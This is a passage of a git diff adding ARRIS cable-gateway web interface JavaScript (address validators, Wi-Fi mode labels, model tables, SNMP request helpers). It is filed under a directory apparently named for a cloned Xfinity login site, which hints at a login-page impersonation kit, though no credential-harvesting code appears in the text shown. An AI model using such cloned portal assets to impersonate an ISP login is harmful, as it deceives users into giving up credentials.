v.substr(1); + + v = v.replace(/ /g, ""); + var reg = /^[0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f]$/; + if (!reg.test(v)) + return "00:00:00:00:00:00"; + var s = ""; + for (var i = 0; i < 6; i++) { + s += v.charAt(i * 2); + s += v.charAt(i * 2 + 1); + if (i < 6 - 1) + s += ":"; + } + return s; +} + + +function ipv4ToHex(s) { + var reg = /^[0-9]+.[0-9]+.[0-9]+.[0-9]+$/; + if (!reg.test(s)) + return null; + var hex = ""; + s = s.split("."); + for (var i=0; i<4; i++) { + if (s[i].asInt() > 255) + return null; + hex += toHexDig(s[i], 2) + } + return hex; +} + + function hexToIpv4(v) { + if (!v) + return null; + if (!v.startsWith("$") && v.length === 4) + v = convertASCIIStringToHexString(v); + else if (!v.startsWith("$")) + return v; + v = v.replace("$","").replace(/ /g,""); + if (!/^[0-9A-Fa-f]{8}$/.test(v)) + return null; + v = v.match(/([0-9A-Fa-f]{2})/g); + var s = ""; + for (var i=0;i<4;i++) + s += parseInt(v[i], 16) + (i!=3 ? "." : ""); + return s; + } + + +function hexToIpv6(v) { + if (!v) + return ""; + if (!v.startsWith("$") && v.length === 16) + v = convertASCIIStringToHexString(v); + else if (!v.startsWith("$")) + return v; + v = v.replace("$","").replace(/ /g,""); + if (!/^[0-9A-Fa-f]{32}$/.test(v)) + return ""; + v = v.match(/([0-9A-Fa-f]{4})/g); + var s = ""; + for (var i=0;i<8;i++) { + //alert(s); + s += ""+v[i].replace(/^[0]{1,3}/,"")+":"; + //alert(s); + } + s = ":"+s; +/* + // does it need to replace 0: to ::??? + for (i=8; i>=2; i--) { + var rg = new RegExp(":(0:){"+i+"}"); + if (rg.test(s)) { + s = s.replace(rg,"::"); + break; + } + } +*/ + s = s.substr(1,s.length-2); + if (s == "") + return "::"; + if (s.startsWith(":")) + return ":"+s; + if (s.endsWith(":")) + return s+":"; + return s; +} + + +function hexToIpv6x(v) { + if (!v) + return null; + if (!v.startsWith("$") && v.length === 16) + v = convertASCIIStringToHexString(v); + v = v.replace("$","").replace(/ /g,""); + if (!/^[0-9A-Fa-f]{32}$/.test(v)) + return null; + v = v.match(/([0-9A-Fa-f]{4})/g); + var s = ""; + for (var i=0;i<8;i++) + s += ""+v[i].replace(/^[0]{1,3}/,"")+":"; + for (i=8; i>=2; i--) { + var rg = new RegExp("(0:){"+i+"}"); + if (rg.test(s)) { + s = s.replace(rg,":"); + break; + } + } + s = s.substr(0,s.length-1); + if (s == "") + return "::"; + if (s.startsWith(":")) + return ":"+s; + if (s.endsWith(":")) + return s+":"; + return s; +} + +function ipv6ToHex(s) { + var v = ipv6ToHexOrNull(s); + return v===null || v===undefined ? "$00000000000000000000000000000000": v; +} + function ipv6ToHexOrNull(s) { + if (s=="::") + return "$"+"".padLeft("0",32); + if (s.startsWith("::")) + s = "0::"+s.substr(2); + if (s.endsWith("::")) + s = s.substr(0, s.length-2)+"::0"; + var foundColonColon=false; + var hex = ""; + var fail = false; + var parts = s.split(":"); + if (parts.length == 1 || parts.length > 8) return null; + for (var i=0;i pos) { + bits = v - pos; + if (bits > 8) + bits = 8; + } + pos += 8; + s += toHexDig((1 << bits) - 1, 2) + (i < 3 ? " " : ""); + } + return hexToIp(s); +} + + + +function prefix() { + var o = formatter(); + o.load = function(v) { + var s = "$"; + if (!v) + v = 0; + var pos = 0; + for (var i = 0; i < 4; i++) { + var bits = 0; + if (v > pos) { + bits = v - pos; + if (bits > 8) + bits = 8; + } + pos += 8; + s += toHexDig( (((1<= 0; j--) { + var on = (d & (1 << j)); + if (!done && on) + prefix++; + else done = true; + if (done && on) + throw msg; + } + } + return prefix; + }; + o.validate = function(v) { + if (this.notEmpty && (""+v).length === 0) + throw xlate("Subnet Mask Address cannot be empty"); + if (!v) + return v; + var reg = /^([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)$/; + if (!reg.test(v)) + throw xlate("Invalid Subnet Mask: Must be 4 numbers separated by '.' e.g. 123.44.5.245"); + var allZero = true; + _.each(v.split(/\./), function f(i) { + if (i.asInt() > 255) + throw xlate("'%s' is not a valid part of a Subnet Mask. Must be less than 256.",i);; + if (allZero) + allZero = i.asInt() === 0; + }); + + if (this.notZero && allZero) + throw xlate("Subnet Mask cannot be all zero"); + return v; + } + return o; +} + +function nullIp(ip) { + return ip.length === 0 || ip == "0.0.0.0" || ip == "$00000000"; +} + +function hexIp() { + var o = formatter(); + o.load = function(v) { + return hexToIp(v); + }; + o.store = function(v) { + //alert("store "+v+" "+ipToHex(v)); + return ipToHex(v, " "); + }; + o.validate = function(v) { + if (this.notEmpty && (""+v).length === 0) + throw xlate("IP Address cannot be empty"); + if (!v) + return v; + var reg = /^([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)$/; + if (!reg.test(v)) + throw xlate("Invalid IP Address: Must be 4 numbers separated by '.' e.g. 123.44.5.245"); + var allZero = true; + var index = 0; + _.each(v.split(/\./), function f(i) { + if (i.asInt() > 255) + throw xlate("'%s' is not a valid part of an IP Address. Must be less than 256.", i); + if (index==0 && i.asInt() == 127) + throw xlate("Invalid IP Address"); + if (allZero) + allZero = i.asInt() === 0; + index++; + }); + + if (this.notZero && allZero) + throw xlate("IP Address cannot be all zero"); + return v; + } + return o; +} +function hexIpNotNull() { + var o = hexIp(); + o.notEmpty = true; + o.notZero = true; + return o; +} + + + + + +function TypedAddr(type,addr) { + this.type = type; + this.addr = addr; + this.toString = function() { + return addr; + } +} + +function typedAddr() { + var o = formatter(); + o.notEmpty = true; + function hasName(v) { + return /[a-z]/i.test(v); + } + o.hexIp = new hexIp(); + o.load = function(v) { + if (v.type == "16") + return v.addr; + else return this.hexIp.load(v.addr); + }; + o.store = function(v) { + var oo = { + type:hasName(v) ? "16" : "1", // mod for ipv6 + addr:hasName(v) ? v : o.hexIp.store(v, " ") + }; + return oo; + }; + o.validate = function(v) { + if (this.notEmpty && (""+v).length === 0) + throw xlate("IP Address cannot be empty"); + if (!v) + return v; + if (hasName(v)) + return v; + return o.hexIp.validate(v); + } + return o; +} + + +function hexIpV6() { + var o = formatter(); + o.notEmpty = true; + //o.notZero = true; leave this until heavy qa + o.load = function(v) { + if (!v) + v = "::"; + else v = hexToIpv6(v) || "::"; + if (!o.notEmpty && (!v || v=="::" || /^.?null.?$/.test(v))) + v = ""; + return v; + } + o.store = function(v) { + return ipv6ToHex(v); + } + o.validate = function(v) { + if (!o.notEmpty && v == "") + return v; + if(!o.notEmpty && /^.?null.?$/.test(v)) + return ""; + var hex = ipv6ToHexOrNull(v); + if (hex !== null) { + if (o.notZero && hex == "$00000000000000000000000000000000") + throw xlate("IP Address cannot be empty"); + return v; + } + throw xlate("Invalid IPV6 Address"); + } + o.normalize = function(v) { + return o.load(o.store(v)); + } + + + o.size = 40; + return o; +} + + + +function hexIpV6OrNull() { + o = hexIpV6(); + o.notEmpty = false; + o.notZero = false; + return o; +} + +function hexIpV6orFQDN() { + var o = formatter(); + o.load = function(v) { + if (v.startsWith("$")) { + if (v.replace("$","").replace(/ /g,"") == "00000000000000000000000000000000") + return ""; + return hexToIpv6(v) || "::"; + } + else return v; + } + o.store = function(v) { + return !v ? "" : (v.contains(":") ? ipv6ToHex(v) : v); + } + o.validate = function(v) { + if (!v) + return ""; //throw xlate("Must specify domain name or IP address"); + if (v.contains(":") && ipv6ToHexOrNull(v) !== null) + return v; + else { + return v; + } + throw xlate("Invalid IPV6 Address"); + } + o.size = 40; + return o; +} + + + +function macAddr() { + var o = formatter(); + o.load = function(v) { + return hexToMac(v); + }; + o.store = function(v) { + //alert("store "+v+" "+ipToHex(v)); + return macToHex(v); + }; + o.validate = function(v) { + if (!v) + return v; + var reg = /^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/; + if (!reg.test(v) || v == "00:00:00:00:00:00") + throw xlate("Invalid Mac Address: Must be 6 pairs of hexdecimals separated by ':' e.g. 12:34:56:78:9A:BC"); + return v; + } + return o; +} + +function intField() { + var o = formatter(); + o.validate = function(v) { + var reg = /^[0-9]+$/; + if (!reg.test(v)) + throw xlate("%s must be a number.",this.label); + return v; + } + return o; +} + +function intRangeField(lo, hi) { + var o = formatter(); + o.validate = function(v) { + var reg = /^[0-9]+$/; + if (!reg.test(v)) + throw xlate("%s must be a number.",this.label); + if (v.asInt()hi) + throw xlate("%s must be between %s and %s.",this.label,lo,hi); + return v; + } + return o; +} + +function intRangeFieldOrZero(lo, hi) { + var o = formatter(); + o.validate = function(v) { + var reg = /^[0-9]+$/; + if (!reg.test(v)) + throw xlate("%s must be a number.",this.label); + if (v.asInt()!==0 && (v.asInt()hi)) + throw xlate("%s must be between %s and %s or 0.",v,lo,hi); + return v; + } + return o; +} + +function rangeCheck (msg, v, lo, hi) { + if (v > hi || v 32) + throw xlate("Invalid SSID: Must be between 1 and 32 characters."); + _.each(s.split(""), function(c, i) { + if (i === 0 && "!#;".indexOf(c) != -1) + throw xlate("Invalid SSID: Cannot start with !, # or ;"); + if ("?\"$[\\]".indexOf(c) != -1) + throw xlate("Invalid SSID: Cannot contain ?, \", $, [, \\, ] or +"); + }); + return s; + } + return o; +} + +function canConvertToASCII(s) { + return _.all(parseHexString(s), function(d) { + return d >= 32 && d <= 126 + }); +} +function convertHexStringToASCIIString(hexString) { + return String.fromCharCode.apply(this, parseHexString(hexString)); +} +function convertASCIIStringToHexString(asciiString) { + var s="$"; + for (var i=0; i" + JSON.stringify(l)); + if (l.length) { + var tag = l[0]; + var value = l.length > 1 ? l.splice(1, l.length-1) : ""; + if (value) { + if (o[tag]) { + o[tag].push(value) + } else { + o[tag] = [value]; + } + } + } + } + }); + } + $.log(JSON.stringify(o)); + o.get = function(s) { + try { + if (this[s]) + return this[s][0]; + } catch(e) { + return ""; + } + } + o.getTable = function(s) { + try { + if (this[s]) + return this[s]; + else return []; + } catch(e) { + return []; + } + } + o.eachRow = function(s, f) { + try { + if (this[s]) + _.each(this[s],f); + } catch(e) { + return ""; + } + } + return o; +} + + + +function validateIpOnSubnet(ip) { + var IPAddress = arLanGatewayIp.get(getLan()[0]).replace(/[$ ]/g,""); + var SubnetMask = arLanSubnetMask.get(getLan()[0]).replace(/[$ ]/g,""); + var f = hexIp(); + if (ip.contains(".")) { + f.validate(ip); + ip = f.store(ip).replace(/[$ ]/g,""); + } else { + ip = ip.replace(/[$ ]/g,""); + } + if ((parseInt(ip, 16) & parseInt(SubnetMask,16)) != (parseInt(IPAddress, 16) & parseInt(SubnetMask,16))) { + throw xlate("Invalid IP Address. Invalid network address."); + } +} + +function convertToSnmpHex(s) { + var t = s; + if (!t.endsWith(" ")) + t += " "; + var reg = /^([0-9A-Fa-f][0-9A-Fa-f] )+$/; + if (reg.test(t)) { + return "$"+t.replace(/ /g,""); + } + return s; +} + + +function IPV6ToOid(v6) { + hexIpV6().validate(v6); + var hd = hexIpV6().store(v6); + if (!hd) + throw xlate("Invalid IPV6 Address"); + hd = hd.replace("$", ''); + var s = ""; + while (hd.length >= 4) { + s = s + parseInt(hd.substr(0, 4),16)+"."; + hd = hd.substr(4); + } + s = s.substr(0, s.length-1); + return s; +} + +function oidToIPV6(oid) { + var v6 = ""; + + var grouphasValue = false; + if (is852()) { + var flag = 0; + _.each(oid.split("."), function(s) { + if (flag == 1) { + var tmp = parseInt(s).toString(16); + if(tmp.length==1 && parseInt(tmp)!=0){ + tmp="0"+tmp; + } + + if( grouphasValue == true && parseInt( tmp ) == 0 ) + { + tmp += "0"; + grouphasValue = false; + } + + v6 += tmp +":"; + flag = 0; + } else { + var tmp = parseInt(s).toString(16); + if(tmp.length==1 && parseInt(tmp)!=0){ + tmp="0"+tmp; + } + + if( parseInt( tmp ) != 0 ) + { + grouphasValue = true; + } + + v6 += tmp; + flag+=1; + } + }); + } else { + _.each(oid.split("."), function(s) { v6 += parseInt(s).toString(16)+":"; }); + } + + var v = v6.substr(0, v6.length-1).toUpperCase(); + return hexIpV6().normalize(v); +} + +function getChannelList() { + var country = (snmpGet1(arWiFiCountry.oid+".0") || "").toLowerCase(); + var isEurope = country ? "eu,at,be,ch,cz,de,dk,ee,ie,el,fr,es,it,cy,lv,lt,lu,hu,mt,nl,pl,pt,ro,gb,gr,hu,ie,si,sk,fi,se,uk".contains(country) : false; + var isJapan = country == "jp"; + if (isJapan) + return ["0:Auto", "1:1", "2:2", "3:3", "4:4", "5:5", "6:6", "7:7", "8:8", "9:9", "10:10", "11:11", "12:12", "13:13","14:14"]; + if (isEurope) + return ["0:Auto", "1:1", "2:2", "3:3", "4:4", "5:5", "6:6", "7:7", "8:8", "9:9", "10:10", "11:11", "12:12", "13:13"]; + return ["0:Auto", "1:1", "2:2", "3:3", "4:4", "5:5", "6:6", "7:7", "8:8", "9:9", "10:10", "11:11"]; +} + +function security_encryption(mode, WEPencryptionmode, WPAalgorithm) +{ + if(mode == "0") + { + return "Open"; + } + else if(mode == "1") + { + if(WEPencryptionmode == "1") + { + return "WEP64"; + } + if(WEPencryptionmode == "2") + { + return "WEP128"; + } + } + else if(mode == "2") + { + if(WPAalgorithm == "1") + { + return "WPA-PSK(TKIP)"; + } + else if(WPAalgorithm == "2") + { + return "WPA-PSK(AES)"; + } + } + else if(mode == "3") + { + if(WPAalgorithm == "1") + { + return "WPA2-PSK(TKIP)"; + } + else if(WPAalgorithm == "2") + { + return "WPA2-PSK(AES)"; + } + else if(WPAalgorithm == "3") + { + return "WPA2-PSK(TKIP/AES)"; + } + } + else if(mode == "7") + { + return "WPAWPA2-PSK(TKIP/AES)"; + /* + if(WPAalgorithm == "1") + { + return "WPAWPA2-PSK(TKIP)"; + } + else if(WPAalgorithm == "2") + { + return "WPAWPA2-PSK(AES)"; + } + else if(WPAalgorithm == "3") + { + return "WPAWPA2-PSK(TKIP/AES)"; + }*/ + } + else + { + return "NONE"; + } +} + +function wirelessmode(i) { + if (i == "0") + { + return "Mixed BG"; + } + else if (i == "1") + { + return "B Only"; + } + else if (i == "4") + { + return "G Only"; + } + else if (i == "6") + { + return "N Only"; + } + else if (i == "7") + { + return "Mixed GN"; + } + else if (i == "9") + { + return "Mixed BGN"; + } + else + { + return "unknown -- " + i; + } +} + +function wifi50mode(i) { + if(i == "0") + { + return "Mixed AN"; + } + else if(i == "1") + { + return "A Only"; + } + else if(i == "4") + { + return "N Only"; + } + else if(i == "5") + { + return "Only AC"; + } + else if(i == "6") + { + return "Mixed ACN"; + } + else if(i == "7") + { + return "Mixed ACNA"; + } + else + { + return "unknown -- " + i; + } +} + +function getWiFiIndex(band, SSID) +{ + if(band == "24") + { + if(SSID == "HOME" || SSID == "BSS_1") + { + return "10001"; + } + else if(SSID == "BSS_2") + { + return "10002"; + } + else if(SSID == "BSS_3") + { + return "10003"; + } + else if(SSID == "BSS_4") + { + return "10004"; + } + else if(SSID == "BSS_5") + { + return "10005"; + } + else if(SSID == "BSS_6") + { + return "10006"; + } + else if(SSID == "BSS_7") + { + return "10007"; + } + else if(SSID == "BSS_8") + { + return "10008"; + } + else if(SSID == "BSS_9") + { + return "10009"; + } + else if(SSID == "BSS_10") + { + return "10010"; + } + else if(SSID == "BSS_11") + { + return "10011"; + } + else if(SSID == "BSS_12") + { + return "10012"; + } + else if(SSID == "BSS_13") + { + return "10013"; + } + else if(SSID == "BSS_14") + { + return "10014"; + } + else if(SSID == "BSS_15") + { + return "10015"; + } + else if(SSID == "BSS_16") + { + return "10016"; + } + } + else if(band == "50") + { + if(SSID == "HOME" || SSID == "BSS_1") + { + return "10101"; + } + else if(SSID == "BSS_2") + { + return "10102"; + } + else if(SSID == "BSS_3") + { + return "10103"; + } + else if(SSID == "BSS_4") + { + return "10104"; + } + else if(SSID == "BSS_5") + { + return "10105"; + } + else if(SSID == "BSS_6") + { + return "10106"; + } + else if(SSID == "BSS_7") + { + return "10107"; + } + else if(SSID == "BSS_8") + { + return "10108"; + } + else if(SSID == "BSS_9") + { + return "10109"; + } + else if(SSID == "BSS_10") + { + return "10110"; + } + else if(SSID == "BSS_11") + { + return "10111"; + } + else if(SSID == "BSS_12") + { + return "10112"; + } + else if(SSID == "BSS_13") + { + return "10113"; + } + else if(SSID == "BSS_14") + { + return "10114"; + } + else if(SSID == "BSS_15") + { + return "10115"; + } + else if(SSID == "BSS_16") + { + return "10116"; + } + } +} + +function Parse_Page_Name( org_url ) +{ + return org_url.substring(org_url.lastIndexOf('/')+1); +} + +function Waiting_Setting_And_Redirect( url ) +{ + window.location = "waiting_loading.php?" + url; +} + + +/* +function convertCmtStr(str) +{ + var ret; + var str_new =""; + var i = 0; + + var num = 0; + + for(i = 0; i= (i+3))) + { + num = parseInt((str.charAt(i+1)), 16) * 16 + parseInt((str.charAt(i+2)), 16); + if(isNaN(num)) + { + str_new += str.charAt(i); + } + else + { + ret = String.fromCharCode(num); + i = i+2; + str_new += ret; + } + } + else + { + str_new += str.charAt(i); + } + } + + return str_new; +} +*/ +// todo: add change password for suddenlink +// todo: make sure tabs from mg gets moved over? \ No newline at end of file diff --git a/sites/Login-Xfinity/Xfinity_files/base_95x.js b/sites/Login-Xfinity/Xfinity_files/base_95x.js new file mode 100755 index 0000000..d51268a --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/base_95x.js @@ -0,0 +1,829 @@ +//Copyright 2011-2012, ARRIS Group, Inc., All rights reserved. +var attrs = { + //Model:"GW", + Family:"950", + //Model:"852", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +} + // todo: put in snmp check for no data returned + +var attrs_TG852G = { + Model:"TG852G", + Family:"950", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Battery: true, + Wifi: 1, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_TG862G = { + Model:"TG862G", + Family:"950", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Battery: true, + Wifi: 1, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_TG1642 = { + Model:"TG1642", + Family:"950", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Battery: true, + Wifi: 1, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_DG1670 = { + Model:"DG1670", + Family:"950", + CLASSICCM:true, + MOCA:true, + IPV6:true, + Battery: false, + Wifi: 2, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_TG1672 = { + Model:"TG1672", + Family:"950", + CLASSICCM:true, + MOCA:true, + IPV6:true, + Battery: false, + Wifi: 2, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_TG1682 = { + Model:"TG1682", + Family:"950", + CLASSICCM:true, + MOCA:true, + IPV6:true, + Battery: true, + Wifi: 2, + Dect: true, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_MG2402 = { + Model:"MG2402", + Family:"950", + CLASSICCM:true, + MOCA:true, + IPV6:true, + Battery: true, + Wifi: 2, + Dect: true, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_OG1600 = { + Model:"OG1600A", + Family:"950", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Battery: false, + Wifi: 2, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_Default = { + Model:"unknown", + Family:"unknown", + CLASSICCM:false, + MOCA:true, + IPV6:true, + Battery: true, + Wifi: 2, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + + +var g_ModelName = ""; +var g_UserName = ""; +var g_attrTable = {}; +// UNIHAN ADD START +var CAN_NOT_SET_CRED = "can_not_login"; +// UNIHAN ADD END +function uh_attrTable_init() +{ + //g_ModelName = mib2system.sysName.get(); + //reduce loading time + g_ModelName=readCookie("sysDescrModelName"); + g_UserName = userName(); + + /*switch (g_ModelName) + { + case "TG862G": g_attrTable = attrs_TG862G; break; + case "TG1642": g_attrTable = attrs_TG1642; break; + case "DG1670": g_attrTable = attrs_DG1670; break; + case "TG1672": g_attrTable = attrs_TG1672; break; + case "TG1682": g_attrTable = attrs_TG1682; break; + case "MG2402": g_attrTable = attrs_MG2402; break; + default: g_attrTable = attrs_Default; break; + }*/ + if (g_ModelName.search("TG862")!=-1) + { + g_attrTable = attrs_TG862G; + } + else if (g_ModelName.search("TG852")!=-1) + { + g_attrTable = attrs_TG852G; + } + else if (g_ModelName.search("TG1642")!=-1) + { + g_attrTable = attrs_TG1642; + } + else if (g_ModelName.search("DG1670")!=-1) + { + g_attrTable = attrs_DG1670; + } + else if (g_ModelName.search("TG1672")!=-1) + { + g_attrTable = attrs_TG1672; + } + else if (g_ModelName.search("TG1682")!=-1) + { + g_attrTable = attrs_TG1682; + } + else if (g_ModelName.search("MG2402")!=-1) + { + g_attrTable = attrs_MG2402; + } + else if (g_ModelName.search("OG1600A")!=-1) + { + g_attrTable = attrs_OG1600; + } + else + { + g_attrTable = attrs_Default; + } +} +function uh_getModel() +{ + return g_attrTable["Model"]; +} +function uh_hasBattery() +{ + return true==g_attrTable["Battery"]; +} +function uh_hasWifi() +{ + if (g_attrTable["Wifi"]>0) + { + return g_attrTable["Wifi"]; + } + else + { + return false; + } +} +function uh_hasMoca() +{ + return true==g_attrTable["MOCA"]; +} +function uh_hasDect() +{ + return true==g_attrTable["Dect"]; +} + +function encode(o) { + o = "" + o; + /* encode "%" was switched "%2525" */ + //o = o.replace(/%/g, "%25"); + o = encodeURIComponent(o); + o = o.replace(/;/g, "%3B"); + o = o.replace(/,/g, "%2C"); + return o; +} +function getAttr(name) { + return attrs[name] || ""; +} +function isMG() { + return attrs["Family"] == "MG"; +} +function is852() { + return attrs["Family"] == "852"; +} +function is95x() { + return attrs["Family"] == "950"; +} +function isIPV6() { + return attrs["IPV6"]; +} +function getLanguages() { + return attrs["Languages"]; +} +function userName() { + return attrs["Name"] || ""; +} +function isTechnician() { + return isLoggedIn() && (isMG() || attrs["Technician"]); +} +function isLoggedIn() { + if (!attrs["Credential"]) { + attrs["Credential"] = readCookie("credential"); + if (attrs["Credential"]) { + var o = Base64.decode(attrs["Credential"]); + o = JSON.parse(o); + attrs["Family"] = o["family"]; + attrs["Technician"] = o["tech"]; + attrs["Name"] = o["name"]; + } + } + return attrs["Credential"]; +} +var hooks = { + buildSetURL:function (oid, value, type) { + var url = "snmpSet?oid=" + oid + "=" + encode(value) + ";" + type + ";"; + return url; + }, + buildGetURL:function (oida) { + var url = "snmpGet?oids=" + _.reduce(oida, function (acc, oid) { + return acc + encode(oid) + ";"; + }, ""); + return url; + }, + buildMultiGetURL:function (oida) { + var url = "snmpGet?oids=" +oida+";"; //Get Data typeless + return url; + }, + buildWalkURL:function (oida) { + var url = "walk?oids=" + _.reduce(oida, function (acc, oid) { + return acc + encode(oid) + ";"; + }, ""); + return url; + }, + buildMultiWalkURL:function (oida) { + var url = "walk?oids=" + oida; + return url; + }, + postProcess:function (json) { + return json; + } +}; + +function snmpSet1(oid, value, type) { +/* +//ASN.1 basic types, all in UNIVERSAL scope +#define A_NO_ID 0x00 +#define A_BOOLEAN 0x01 +#define A_INTEGER 0x02 +#define A_BITSTRING 0x03 +#define A_OCTETSTRING 0x04 +#define A_NULL 0x05 +#define A_OBJECTID 0x06 +#define A_SEQUENCE 0x10 +#define A_SET 0x11 +#define A_APPLICATION 0x40 + +#define VT_NUMBER A_INTEGER +#define VT_STRING A_OCTETSTRING +#define VT_BITS A_OCTETSTRING // same as a string +#define VT_OBJECT A_OBJECTID +#define VT_EMPTY A_NULL +#define VT_IPADDRESS (A_APPLICATION | 0) +#define VT_COUNTER (A_APPLICATION | 1) +#define VT_GAUGE (A_APPLICATION | 2) +#define VT_UNSIGNED32 (A_APPLICATION | 2) // same as a guage +#define VT_TIMETICKS (A_APPLICATION | 3) +#define VT_OPAQUE (A_APPLICATION | 4) +#define VT_COUNTER64 (A_APPLICATION | 6) +#define VT_UINTEGER32 (A_APPLICATION | 7) +*/ + // value = encodeHack(value); + var url = hooks.buildSetURL(oid, value, type); //"snmpSet?oid=" + oid + "=" + encode(value) + ";" + type + ";"; + //$.log("set " + decodeOid(oid) + "=" + value); + if (window.console) console.log("set " + decodeOid(oid) + "=" + value); + //$.log(url); + if (window.console) console.log(url); + var rv = "fail"; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + rv = result; + }, + error:function (jqXHR, textStatus, errorThrown) { + if (jqXHR.status == 401) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + } + }, + // dataType : "json", + async:false, + cache:false + }); + + if (rv == "unauthorized") + throw "unauthorized"; + if (rv == "fail" && shouldVerify(oid, value)) + throw "Unexpected Error";//xlate("Unexpected Error"); + //$.log(">>" + JSON.stringify(rv)); + if (window.console) console.log(">>" + JSON.stringify(rv)); + return rv; +} + + +function shouldVerify(oid, val) { + // if (isMG()) + // return false; // GW snmp is a little screwy so skip for now + + if (oid.startsWith(arLanClientType.oid + ".")) // 950 bug + return false; + + if (oid.startsWith(arApplyAllSettings.oid + ".")) + return true; //was false; + if (oid.startsWith(arWpsSTAPin.oid + ".")) + return false; + if (oid.startsWith(arWpsPushButton.oid + ".")) + return false; + if (oid.startsWith(arCurrentTime.oid + ".")) + return false; + if (oid.startsWith(arEmailApplySettings.oid + ".")) + return false; + if (oid.startsWith(arClearLogs.oid + ".")) + return false; + if (oid.startsWith(arReboot.oid + ".")) + return false; + if (oid.startsWith(arClearMSOLogs.oid + ".")) + return false; + if (oid.startsWith(arEmailApplySettings.oid + ".")) + return false; + if (oid.startsWith(arApplySNTPSettings.oid + ".")) + return false; + if (oid.startsWith(arDefaults.oid + ".")) + return false; + if (oid.startsWith(SNTPServerTable.oid + ".")) + return false; + if (oidIsRowStatus(oid) && val != 1) + return false; + return true; +} + + +function snmpSet1Async(oid, value, type, func) { + // value = encodeHack(value); + var url = hooks.buildSetURL(oid, value, type); //"snmpSet?oid=" + oid + "=" + encode(value) + ";" + type + ";"; + //$.log("setasync " + decodeOid(oid) + "=" + value); + if (window.console) console.log("setasync " + decodeOid(oid) + "=" + value); + //$.log(url); + if (window.console) console.log(url); + + baseAjax({ + url:url, + success:function (result) { + if (func) func(true); + }, + error:function (jqXHR, textStatus, errorThrown) { + if (func) func(false); + }, +// error: function(jqXHR, textStatus, errorThrown) { +// alert("text:{An error has occured. Your changes may have not been applied. Please refresh this page and verify the changes you expect.}"); +// throw ""; +// }, + // dataType : "json", + async:true, + cache:false + }); +} + + +function snmpGet1(oid) { + try { + var url = hooks.buildGetURL([oid]); //"snmpGet?oids=" + encode(oid) + ";"; + //var url = "walk?oids=" + encodeURI(oid + ";"); + //$.log(url); + var rv = ""; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + //$.log("get result " + result); + if (window.console) console.log("get result " + result); + rv = result; + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + }, + dataType:"text", + async:false, + cache:false + }); + // strip of any crap on front for sercomm bug + // if (rv && (typeof rv == 'string')) { + // while (rv.length !== 0 && rv.charAt(0) != '{' && rv.charAt(0) != '[') { + // rv = rv.substr(1); + // } + // rv = rv.replace(",", ""); + // } + + //$.log("pre-parse" + rv); + if (window.console) console.log("pre-parse" + rv); + var rrv = JSON.parse(rv); + //$.log("" + rrv); + if (window.console) console.log("" + rrv); + rrv = hooks.postProcess(rrv); + //$.log(">>" + JSON.stringify(rrv)); + if (window.console) console.log(">>" + JSON.stringify(rrv)); + if (rrv && rrv[oid]) + rrv = rrv[oid]; + else rrv = ""; + //return decodeHack(rv); + return rrv; + } catch (e) { + //$.log("snmp get error " + e); + if (window.console) console.log("snmp get error " + e); + return ""; + } +} + + +function xxxcompare(a, b) { + a = "" + a; + b = "" + b; + if (a.startsWith("$")) + a = a.replace(/ /g, ""); + if (b.startsWith("$")) + b = b.replace(/ /g, ""); + if (a.startsWith("$") && !b.startsWith("$")) { + if (canConvertToASCII(a)) + a = convertHexStringToASCIIString(a) + } else if (b.startsWith("$") && !a.startsWith("$")) { + if (canConvertToASCII(b)) + b = convertHexStringToASCIIString(b) + } + if (a.length === 0 && b === "$00000000") { + return true; + } + if (a.startsWith("$") && b.startsWith("$")) { + return a.toUpperCase() == b.toUpperCase(); + } + return a == b; +} + +var canCloseWaitDialog = false; +function openWaitDialog() { + canCloseWaitDialog = false; + $("#wait-dialog").dialog( + { autoOpen:false, + height:80, + width:250, + resizable:false, + title:"Please Wait", + beforeClose:function () { + return canCloseWaitDialog; + } + }); + prepareDialog("wait-dialog"); + $("#wait-dialog").dialog("open"); +} + +function closeWaitDialog() { + canCloseWaitDialog = true; + $("#wait-dialog").dialog("close"); +} + + +function doApplyAndRebootAsync(applyNeeded, rebootNeeded, refreshNeeded) { + var canCloseWaitDialog = false; + var busyDialogNeeded = true; + + function openWaitDialog() { + if (!busyDialogNeeded) + return; + canCloseWaitDialog = false; + $("#wait-dialog").dialog( + { autoOpen:false, + height:80, + width:250, + resizable:false, + title:"Please Wait", + 